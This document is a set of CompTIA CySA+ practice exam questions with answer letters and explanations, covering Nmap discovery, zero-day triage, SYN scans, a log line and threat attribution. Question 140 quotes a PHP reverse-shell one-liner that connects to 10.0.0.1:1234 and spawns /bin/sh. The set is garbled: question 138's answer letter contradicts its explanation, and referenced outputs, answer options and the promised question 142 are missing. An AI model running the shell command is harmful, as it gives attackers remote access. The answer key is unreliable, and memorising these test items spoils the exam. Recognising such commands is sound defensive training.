CompTIA Cybersecurity Analyst (CySA+) Certification Exam Sample Questions (Q137-Q142):

NEW QUESTION # 137
Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment. Given the following output:

Which of the following choices should the analyst look at first?

Answer: C

Explanation:
The analyst should look at p4wnp1_aloa.lan (192.168.86.56) first, as this is the most suspicious device on the network. P4wnP1 ALOA is a tool that can be used to create a malicious USB device that can perform various attacks, such as keystroke injection, network sniffing, man-in-the-middle, or backdoor creation. The presence of a device with this name on the network could indicate that an attacker has plugged in a malicious USB device to a system and gained access to the network.

NEW QUESTION # 138
A vulnerability scan shows the following vulnerabilities in the environment:

At the same time, the following security advisory was released:
" A zero-day vulnerability with a CVSS score of 10 may be affecting your web server. The vendor is working on a patch or workaround. " Which of the following actions should the security analyst take first?

Answer: C

Explanation:
In this scenario, the security analyst is presented with multiple vulnerabilities, including a critical zero-day vulnerability affecting the web server with a CVSS score of 10. The CVSS (Common Vulnerability Scoring System) provides a standardized method for rating IT vulnerabilities, with a score of 10 indicating the highest severity.
Option A:Contact the web systems administrator and request that they shut down the asset.
* Correct Choice:Given the critical nature of a zero-day vulnerability with a CVSS score of 10, immediate action is warranted to prevent potential exploitation. Shutting down the affected web server reduces the attack surface and mitigates the risk until a patch or workaround is available. This aligns with incident response best practices, where containment is a priority to prevent further damage.
Option B:Monitor the patch releases for all items and escalate patching to the appropriate team.
* Incorrect Choice:While monitoring for patches is essential, it is a reactive approach. In the case of a zero-day vulnerability with active exploitation potential, waiting for a patch without implementing immediate protective measures exposes the organization to significant risk.
Option C:Run the vulnerability scan again to verify the presence of the critical finding and the zero-day vulnerability in the environment.
* Incorrect Choice:Re-scanning may confirm the vulnerability ' s presence but does not address the immediate threat. Action to mitigate the risk should take precedence over verification, especially when the vulnerability is known and critical.
Option D:Forward the advisory to the web security team and initiate the prioritization strategy for the other vulnerabilities.
* Incorrect Choice:Communicating with the web security team is important; however, in the face of a critical zero-day vulnerability, immediate action (such as shutting down the affected asset) is necessary before addressing other vulnerabilities.
Reference:
CompTIA CySA+ CS0-003 Exam Objective 3.2: " Given a scenario, perform incident response activities. " This includes containment strategies to address active threats effectively.


NEW QUESTION # 139
A security analyst receives an alert with the following packet capture:

Which of the following conclusions should the analyst reach about this incident?

Answer: A

Explanation:
The capture shows rapid SYNs to two well-known ports (80 and 443) from the same source, immediately followed by RSTs from the target - classic behavior of a SYN-based port scan.
Nmap's default scan (SYN scan) operates exactly this way, probing ports and tearing down connections if no SYN-ACK is returned.


NEW QUESTION # 140
While reviewing web server logs, a security analyst discovers the following suspicious line:
php -r '$socket=fsockopen("10.0.0.1", 1234); passthru ("/bin/sh -i
<&3 >&3 2>&3");'
Which of the following is being attempted?

Answer: B


NEW QUESTION # 141
A security operations center analyst must determine which threat actor is targeting their industry based on similar attack vectors. Which of the following provides the best intelligence for attribution?

Answer: C

Explanation:
Tactics, techniques, and procedures describe the behavioral patterns, methods, and operational approaches used by threat actors during attacks. These patterns are often consistent across campaigns and are widely used in threat intelligence to associate activity with specific threat groups, making them highly effective for attribution and identifying which actors are targeting a particular industry.
